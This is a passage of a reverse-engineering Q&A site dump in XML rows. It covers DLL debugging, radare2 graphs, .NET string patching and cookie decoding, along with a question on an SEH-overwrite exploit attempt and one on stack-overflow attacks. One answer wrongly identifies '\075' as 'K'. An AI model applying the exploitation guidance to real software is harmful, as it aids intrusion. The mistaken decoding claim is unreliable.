you can add the patch. Do not forget to write aside the original bytes to restore after the debugger breaks.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2017-06-18T05:03:18.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15581" PostTypeId="1" CreationDate="2017-06-18T05:17:37.403" Score="0" ViewCount="846" Body="&lt;p&gt;I am trying SEH Overwrite for vulnerable test programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, overwriting the RET and SEH chains through 41414141 (input value) does not cause the EIP to run as 41414141.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The picture is that the security cookie function is normally executed even though I overwrote the SEH Chain with 41414141.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you advise me on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached the assembly code here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;link : &lt;a href=&quot;https://pastebin.com/ic9bzw20&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/ic9bzw20&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The picture overrides the SEH Chain with 41414141, but is where the Security cookie function is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zuFfY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zuFfY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="20591" LastEditorUserId="18804" LastEditDate="2017-08-20T07:02:33.373" LastActivityDate="2017-08-20T07:02:33.373" Title="I have a question about SEH Overwrite" Tags="|exploit|seh|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15582" PostTypeId="2" ParentId="15572" CreationDate="2017-06-18T08:32:33.517" Score="2" Body="&lt;p&gt;debugging a dll is kinda tougher than debugging a stand alone executable. as none of tbe functions that are exported will have a call to them thetefore finding the argument and then type of tbe argument type of return calling convention all becomes tougher than a refetenced function.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;some ways to debug them standalone&#xA;isto write a wrapper exe with load library call and take on from there combined with static analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also load a dll in a standalone manner if you have windbg. with.  windbg -z foo.dll. this will load the dll as a dump file and will stop in the AddressOfEntryPoint. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it were 32 i could have said use ollydbg with loaddll and call export function but since you say 64 bit i dont know if x64dbg has a similar functionality&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-06-19T02:40:47.237" LastActivityDate="2017-06-19T02:40:47.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15584" PostTypeId="1" CreationDate="2017-06-19T06:42:16.660" Score="-1" ViewCount="538" Body="&lt;p&gt;If you have a 40MB PE that has a lot of dynamic third-party imports and threads how do you typically see what it's doing without manually documenting every routine and then tracking thread creation? Using IDA Pro or OllyDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen people RE such binaries inside a five-hour sitting even where it had some custom obfuscation..&lt;/p&gt;&#xA;" OwnerUserId="19893" LastActivityDate="2017-06-19T08:30:47.227" Title="How do people typically RE large binaries with lots of threads and imports?" Tags="|thread|" AnswerCount="1" CommentCount="1" ClosedDate="2017-06-22T08:36:03.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="15585" PostTypeId="2" ParentId="15577" CreationDate="2017-06-19T06:45:27.393" Score="4" Body="&lt;p&gt;The two vertical bars hints towards 3 separate parts of the cookie. It seems that the &lt;strong&gt;first part&lt;/strong&gt; is a base64 encoded json object. For the first part of the cookie no. 1 that would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;eyJ0YWxrX3N0YXRlIjowfQ\075\075&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which decoded is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{&quot;talk_state&quot;:0}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;nb: each &quot;\075&quot; is the unicode value for ascii character &quot;K&quot;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post login, the first part becomes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{&quot;user_id&quot;:&quot;115286839932325809988&quot;,&quot;user_name&quot;:&quot;Sam&quot;,&quot;talk_state&quot;:0}&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the base64 string&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;eyJ1c2VyX2lkIjoiMTA3NjYzODAwMzg1MDkxODU5MzAwIiwidXNlcl9uYW1lIjoiQ3JhenlSdWciLCJ0YWxrX3N0YXRlIjowfQ\075\075&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;second part&lt;/strong&gt; as you suspected, is a timestamp in epoch date format, where &lt;em&gt;1497742098&lt;/em&gt; is &lt;em&gt;Mon, 19 Jun 2017 06:16:57 GMT&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last part, I am not too sure. This could be SHA1 value of some data used as an integrity check server side. You may need to play around with creating different SHA1 values using different combination of data known so far to get a matching value. &lt;/p&gt;&#xA;" OwnerUserId="19989" LastActivityDate="2017-06-19T06:45:27.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15586" PostTypeId="1" AcceptedAnswerId="15590" CreationDate="2017-06-19T07:38:44.447" Score="8" ViewCount="3519" Body="&lt;p&gt;After analysing a function and pressing &lt;code&gt;VV&lt;/code&gt; to go into graph mode, is it somehow possible to export/render the whole graph to an image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some huge main functions and it would be nice to have it all in an image.&lt;/p&gt;&#xA;" OwnerUserId="20597" LastEditorUserId="28285" LastEditDate="2019-06-10T05:00:25.080" LastActivityDate="2019-06-10T05:00:25.080" Title="radare2 ascii graph to image?" Tags="|disassembly|radare2|struct|control-flow-graph|visualization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15587" PostTypeId="2" ParentId="15584" CreationDate="2017-06-19T08:30:47.227" Score="1" Body="&lt;p&gt;One method I tend to use (with IDA):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run the binary (without a debugger).&lt;/li&gt;&#xA;&lt;li&gt;Attach to it.&lt;/li&gt;&#xA;&lt;li&gt;Take a memory snapshot.&lt;/li&gt;&#xA;&lt;li&gt;Kill the process (from the debugger).&lt;/li&gt;&#xA;&lt;li&gt;Re-analyse the whole database (i.e.: AnalyzeArea(MinEA(), MaxEA())).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You might need to find and rebuild IAT (Import Address Table). For this purpose, the IDC script &quot;renimp.idc&quot; comes handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing the previous steps, hopefully, you will have a database without the initial compression/obfuscation layers with most/all function calls resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 2 cents.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-06-19T08:30:47.227" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15589" PostTypeId="2" ParentId="13526" CreationDate="2017-06-19T09:55:16.347" Score="0" Body="&lt;p&gt;Normally, to solve that problem in WinDbg, I just have to run the Debugger as Administrator, and the (%1 is not a win32 application) message goes away when I use Open dump file with WinDbg.  It only happens if you try to double click a dump file without having the correct permissions. I know it's pretty basic, but always run IDA Pro or WinDBG as administrator and that message should not appear.  &lt;/p&gt;&#xA;" OwnerUserId="20303" LastActivityDate="2017-06-19T09:55:16.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15590" PostTypeId="2" ParentId="15586" CreationDate="2017-06-19T10:16:12.750" Score="9" Body="&lt;p&gt;The &lt;code&gt;ag&lt;/code&gt; command and subcommands can help you to output the visual graph into &lt;a href=&quot;http://www.graphviz.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Graphviz&lt;/a&gt; format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; ag?&#xA;Usage: ag&amp;lt;graphtype&amp;gt;&amp;lt;format&amp;gt; [addr]  &#xA;Graph commands:&#xA;| aga[format]             Data references graph&#xA;....&#xA;| agf[format]             Basic blocks function graph&#xA;....&#xA;&#xA;Output formats:&#xA;| &amp;lt;blank&amp;gt;                 Ascii art&#xA;| *                       r2 commands&#xA;| d                       Graphviz dot&#xA;| g                       Graph Modelling Language (gml)&#xA;| j                       json ('J' for formatted disassembly)&#xA;| k                       SDB key-value&#xA;| t                       Tiny ascii art&#xA;| v                       Interactive ascii art&#xA;| w [path]                Write to path or display graph image (see graph.gv.format and graph.web)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, you can output the visual graph as a dot file and then convert it to PNG.&#xA;Here's an example to create an image from the main function of /bin/ls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 /bin/ls&#xA;[0x004049a0]&amp;gt; aa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[0x004049a0]&amp;gt; agfd main &amp;gt; graph.dot&#xA;[0x004049a0]&amp;gt; !!dot -Tpng -o graph.png graph.dot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;dot&lt;/code&gt; utility is part of the Graphviz software which can be installed using &lt;code&gt;sudo apt-get install graphviz&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also output the graph into ascii-graph using the &lt;code&gt;agf&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004049a0]&amp;gt; s main&#xA;[0x00402a00]&amp;gt; agf &amp;gt; ascii_graph.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Moreover, if you are just searching for a comfort way to view the graph you can simply open the dot file inside Graphviz or use an &lt;a href=&quot;http://www.webgraphviz.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;online Graphviz viewer&lt;/a&gt; instead of converting it to an image file.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="14622" LastEditDate="2018-12-04T04:08:39.653" LastActivityDate="2018-12-04T04:08:39.653" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15591" PostTypeId="1" CreationDate="2017-06-19T13:29:48.407" Score="0" ViewCount="3369" Body="&lt;p&gt;I have a .NET executable that apparently has some embedded DLLs. It's just one standalone executable. I opened this executable with JetBrains dotPeek and ILSPY, both decomiplier are showing DLL names under &quot;Reference&quot; but can't locate where those dlls are. ILSpy example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/civOU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/civOU.png&quot; alt=&quot;ilspy example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I can't expand those DLLs to see what inside. I suspect that ILmerge similar utility is used to combine dlls inside a standalone exe. I wonder if it's possible to extract those dlls.&lt;/p&gt;&#xA;" OwnerUserId="19780" LastActivityDate="2017-06-30T11:38:46.420" Title="Extracting embedded dlls from .NET executable" Tags="|malware|.net|c#|binary-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15592" PostTypeId="2" ParentId="15591" CreationDate="2017-06-19T13:54:03.977" Score="2" Body="&lt;p&gt;They are not inside the application, there should be somewhere on your machine and will be loaded at runtime. You can use &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Monitor&lt;/a&gt; to check from where they are loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ILSpy should be able to go into those DLLs so if it can't it might be an indication that it can't find them.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-06-19T13:54:03.977" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15593" PostTypeId="2" ParentId="15578" CreationDate="2017-06-19T14:48:34.777" Score="4" Body="&lt;p&gt;OllyDbg, just as other debuggers, needs symbol information in order to retrieve function names. Such information is usually kept inside a Program Database (PDB) file or DBG file which produced by the compiler. &#xA;PDB files are used by developers to debug their program and commonly removed from the binary before it distributed to the client, so most chances is that you won't find debug symbols inside most of the real-world binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ollydbg searches for the pdb file in the debugee's folder. If your pdb file isn't in the folder of the debugged program I believe you can drag and drop the pdb file to Ollydbg and it'll load it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One exception, for example, is exported functions of a libraries that shipped with their names so debuggers don't need symbol files in order to detect them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/symbols-and-symbol-files&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here you can read more about Symbols and Symbol Files.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-06-19T14:48:34.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15595" PostTypeId="2" ParentId="15472" CreationDate="2017-06-19T17:47:06.313" Score="0" Body="&lt;p&gt;There are many ways in which the loader can fail to load a seemingly valid file.  There are differences in rules for 32-bit and 64-bit architectures, for example.  The most obvious of those is the minimum file size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there are differences in rules between different versions of Windows.  In older versions, critical data such as the import table could be placed in the file header.  This is no longer the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alignment requirement for the PE header was introduced.  The rules changed for where the PE header can appear in the file.  The rules changed for the maximum number of sections in a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rules also changed for section alignment, section order, and overlapping sections, among other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full list of what was changed and how it changed would be very long and detailed, depending on how many versions of Windows are being considered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without having your file in hand, it isn't clear why the file won't load.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-06-19T17:47:06.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15596" PostTypeId="2" ParentId="15552" CreationDate="2017-06-19T17:55:25.960" Score="0" Body="&lt;p&gt;No there isn't.  The act of hashing and checksumming both lose information in the process.  Thus, there can be multiple files that produce the same hash &lt;em&gt;and the same checksum&lt;/em&gt;.  The only way to know that you have recovered the original file is to compare it with the original file.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-06-19T17:55:25.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15597" PostTypeId="2" ParentId="15581" CreationDate="2017-06-19T18:08:44.210" Score="1" Body="&lt;p&gt;The SEH overwrite attack requires that the function has registered an SEH handler.  The SEH handler address exists below the stack cookie and return address.  If you've overwritten the return address then you've written too many data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chain's integrity will be checked, and there must be executable memory at the handler address (i.e. 0x41414141) for the handler to execute.  In modern Windows, the address is checked before the transfer will occur, so you won't see any exception at that address if it's not valid.  It just won't be reached.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-06-19T18:08:44.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15598" PostTypeId="1" CreationDate="2017-06-19T20:30:18.463" Score="0" ViewCount="63" Body="&lt;p&gt;I am currently learning about the stack, in particular how to perform stack overflow attacks. I understand that the buffer is not the size that the program initially set it as, for example if we deployed a buffer like this &lt;code&gt;char buffer [100]&lt;/code&gt;, when compiled the buffer size will end up being greater than 100. What data does the compiler add to the initial 100 bytes of data?&lt;/p&gt;&#xA;" OwnerUserId="20567" LastActivityDate="2017-06-20T04:00:33.987" Title="What additional data does a compiler populate the buffer space with?" Tags="|compilers|stack|" AnswerCount="1" CommentCount="1" ClosedDate="2017-06-22T08:36:30.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="15599" PostTypeId="1" CreationDate="2017-06-19T21:37:09.420" Score="1" ViewCount="396" Body="&lt;p&gt;Analyzing an android ELF binary. How/where does something access a specific area of .rodata or .rel.data.ro? Have tried using objdump, rabin2, readelf, etc and I can't seem to figure out how it is internally accessed/used. &lt;/p&gt;&#xA;" OwnerUserId="20608" LastActivityDate="2017-08-19T18:55:15.530" Title="Accessing .rodata/.rel.data.ro" Tags="|binary-analysis|android|elf|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15600" PostTypeId="1" CreationDate="2017-06-19T21:37:11.690" Score="1" ViewCount="369" Body="&lt;p&gt;Firstly I acknowledge that this is very borderline opinionated, but I'd like to emphasize this is more a thing of possibilities given some shortcomings of the default just writing down the offsets of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do a lot of reverse engineering and then I write C/C++ code to mess with what I've learned. Suppose there is a class like this, representing a monster:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OFFSET  SIZE    VALUE&#xA;0       8       Pointer to methods&#xA;1280    4       X coordinate&#xA;1284    4       Y coordinate&#xA;128C    4       Z coordinate&#xA;1400    4       Health&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where, for example, &lt;code&gt;*(float*)((uint8_t*)obj + 0x1280)&lt;/code&gt; would give the X coordinate. The rest of the class is unknown, and the only known method is &lt;code&gt;*(uint32_t*)((uint8_t*)*(uint32_t*)obj + 0xC)&lt;/code&gt;, which just sets the health.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These kinds of classes can be updated very frequently, making it incredibly annoying to just have recorded the offsets of different things. I have seen it suggested to create a padded class with just &lt;code&gt;uint8_t[next off - start]&lt;/code&gt;, but even that just feels really awkward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now the best thing I can think of to do would be to create a bunch of different bytescans (excluding the offsets) for different methods of the object that access its members and automatically determine the offsets, but still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that although I don't actually mind the updating itself, my code looks &lt;em&gt;terrible&lt;/em&gt;. I effectively treat these objects as just integers floating around and have a bunch of scattered functions that operate on them like objects, but really they aren't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a &quot;proper&quot; way to define an object with &quot;suggested&quot; offsets, with or without llibraries, and regardless, what would be a decent way to have clean code working with undocumented and mostly unknown objects like these?&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2017-08-24T13:40:22.093" Title="&quot;Proper&quot; way to recreate undocumented structs / classes given memory layout in C++?" Tags="|x86|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15601" PostTypeId="1" CreationDate="2017-06-19T22:08:44.343" Score="0" ViewCount="2490" Body="&lt;p&gt;Pseudo Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(*((void (__cdecl **)(_DWORD, _DWORD))cr-&amp;gt;baseclass_0.Skills[1]-&amp;gt;_vptr.TSkill + 3))(cr-&amp;gt;baseclass_0.Skills[1], Mana);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA Assembly Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0807EC41                 call    dword ptr [mana+0Ch]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot figure to what address is the call going to, and I cannot seem to jump to that either, why is this happening? how can I solve it? I'm very newbie with IDA but I've been managing lately, and I just encountered this one and I'm clueless on what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bigger view before the call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0807EC2B loc_807EC2B:                            ; CODE XREF: CheckMana(TCreature *,int,int,int)+EAj&#xA;.text:0807EC2B                 mov     Delay, [ebp+Mana_0]&#xA;.text:0807EC2E                 test    Delay, Delay&#xA;.text:0807EC30                 jle     short loc_807EC44&#xA;.text:0807EC32                 mov     Delay, [cr+8]&#xA;.text:0807EC35                 mov     edx, [ebp+Mana_0]&#xA;.text:0807EC38                 mov     mana, [Delay]&#xA;.text:0807EC3A                 mov     [esp], Delay&#xA;.text:0807EC3D                 mov     [esp+4], edx&#xA;.text:0807EC41                 call    dword ptr [mana+0Ch]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17145" LastActivityDate="2017-06-23T04:42:20.950" Title="IDA - call dword ptr [mana+0Ch] - Where is it pointing to?" Tags="|ida|assembly|call|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15603" PostTypeId="1" AcceptedAnswerId="15604" CreationDate="2017-06-19T22:31:04.923" Score="3" ViewCount="1702" Body="&lt;p&gt;I have a .net exe called foo.exe I open foo in a hex editor (HxD) and search for myString. I do not see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I open foo.exe in ILSpy and was able to find myString.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do see human readable text in the hex editor but I think the .net strings are encoded some other way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some background is we have a client site that switched servers on some 10+ year old code and the server configuration was hard coded. The old server was left online during testing and the issue was not found until 12 hours into production.&lt;/p&gt;&#xA;" OwnerUserId="20610" LastActivityDate="2018-10-30T19:48:30.860" Title="Modifying a string in a .net binary" Tags="|binary|.net|binary-editing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15604" PostTypeId="2" ParentId="15603" CreationDate="2017-06-20T01:09:33.920" Score="2" Body="&lt;p&gt;C# encodes its string literals as UTF-16.&#xA;(&lt;a href=&quot;http://csharpindepth.com/Articles/General/Strings.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://csharpindepth.com/Articles/General/Strings.aspx&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To search the hex in HxD you need to check the Unicode string checkbox in HxD and after that you are able to search your string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are able to then change your string to the correct character without breaking UTF-16 and file size then your new string will be updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;well i wrote a similar answer but discarded it and just adding a screen shot that explains your answer better     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YojJ1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YojJ1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="20610" LastEditorUserId="26191" LastEditDate="2018-10-30T19:48:30.860" LastActivityDate="2018-10-30T19:48:30.860" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15605" PostTypeId="1" CreationDate="2017-06-20T01:37:04.340" Score="0" ViewCount="1268" Body="&lt;p&gt;My goal is far from nefarious. After several polite attempts to try and get Lenovo to implement a proper keyboard backlight control, I've had no response.&#xA;They do have a Windows Store app which adds that control, however, it's not tied to keyboard or mouse input (idle user time). I can implement that, with AutoHotKey, if I manage to call their methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshots for reference: &lt;a href=&quot;https://i.stack.imgur.com/pGBre.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/pGBre.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using JetBrains I can see a quite readable code, written in .NET (I assume), my main interest is in Keyboard_Core.dll. There I can see the methods for getting and setting the keyboard backlight, but I don't understand how they work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public unsafe uint SetKeyboardBackLightStatus(int nStatus)&#xA;{&#xA;  CKeyboardLight* ckeyboardLightPtr1 = (CKeyboardLight*) &amp;lt;Module&amp;gt;.@new(4U);&#xA;  CKeyboardLight* ckeyboardLightPtr2;&#xA;  // ISSUE: fault handler&#xA;  try&#xA;  {&#xA;    ckeyboardLightPtr2 = (IntPtr) ckeyboardLightPtr1 == IntPtr.Zero ? (CKeyboardLight*) 0 : &amp;lt;Module&amp;gt;.ThinkPad.CKeyboardLight.{ctor}(ckeyboardLightPtr1);&#xA;  }&#xA;  __fault&#xA;  {&#xA;    &amp;lt;Module&amp;gt;.delete((void*) ckeyboardLightPtr1);&#xA;  }&#xA;  &amp;lt;Module&amp;gt;.ThinkPad.CKeyboardLight.SetStatus(ckeyboardLightPtr2, (KBDLIGHT_STATUS) nStatus);&#xA;  if ((IntPtr) ckeyboardLightPtr2 != IntPtr.Zero)&#xA;  {&#xA;    CKeyboardLight* ckeyboardLightPtr3 = ckeyboardLightPtr2;&#xA;    int num = 1;&#xA;    // ISSUE: cast to a function pointer type&#xA;    // ISSUE: function pointer call&#xA;    void* voidPtr = __calli((__FnPtr&amp;lt;void* (IntPtr, uint)&amp;gt;) *(int*) *(int*) ckeyboardLightPtr2)((uint) ckeyboardLightPtr3, (IntPtr) num);&#xA;  }&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand where @new(4U) points to. In the decompiled declaration it says it's &lt;code&gt;[StructLayout(LayoutKind.Sequential, Size = 4)]&lt;/code&gt; - so I can probably work with that without any structure description. Is it later pointed to some real memory address?&#xA;I cannot figure that out, it seems that both &lt;code&gt;ckeyboardLightPtr1&lt;/code&gt; and &lt;code&gt;ckeyboardLightPtr2&lt;/code&gt; are new objects until the end of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to call a random address (function) with some prepared parameters (stack) - should I stick to AHK (then it would be a different question), try Python (another layer), PowerShell (never used it) or create a small C program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, it looks that I have to set 4 bytes somewhere in memory. Perhaps I'm chasing the wrong end and these functions just set a temporary/proxy object that is later handled by a monitor thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://pastebin.com/vyfiTTcr&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/vyfiTTcr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ollydbg doesn't let me do anything with the DLL.&lt;/p&gt;&#xA;" OwnerUserId="20611" LastEditorUserId="18014" LastEditDate="2017-06-20T08:26:37.953" LastActivityDate="2017-07-09T00:47:00.777" Title="Trying to call a function in an unknown DLL" Tags="|windows|x86-64|.net|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15606" PostTypeId="2" ParentId="15598" CreationDate="2017-06-20T04:00:33.987" Score="0" Body="&lt;p&gt;char buffer [0x100 ]. as local that ends up in stack is filled with junk. (uninitilised buffer )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;same buffer if declared as global is zero initialised ie the complete buffer will have 0x0's &lt;/p&gt;&#xA;&#xA;&lt;p&gt;compiler can pad your buffer based on alignment  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;can embed patterns based on debug versus release builds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these are implementation details and subject to chsnge between versions &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-06-20T04:00:33.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15607" PostTypeId="2" ParentId="15605" CreationDate="2017-06-20T05:12:56.853" Score="1" Body="&lt;p&gt;&lt;code&gt;@new(4U)&lt;/code&gt; points to an external function that this DLL uses via P/Invoke. I don't have Jetbrains dotPeek installed right now but if you do it in dnSpy - you can click on the &lt;code&gt;@new&lt;/code&gt; and you will be taken to the method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aGzwY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aGzwY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it later pointed to some real memory address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would assume that's it's just allocates the memory and returns the pointer that's assigned to &lt;code&gt;ckeyboardLightPtr1&lt;/code&gt; and then later it is used in the call to &lt;code&gt;&amp;lt;Module&amp;gt;.ThinkPad.CKeyboardLight.{ctor}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I don't know how to call a random address (function) with some prepared parameters (stack) - should I stick to AHK (then it would be a different question), try Python (another layer), PowerShell (never used it) or create a small C program?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not sure to what random function you are referring to but I guess you can choose what's best for you. I would use .NET ;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Either way, it looks that I have to set 4 bytes somewhere in memory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;yes, it does look like that.&lt;/p&gt;&#xA;" OwnerUserId="18014" 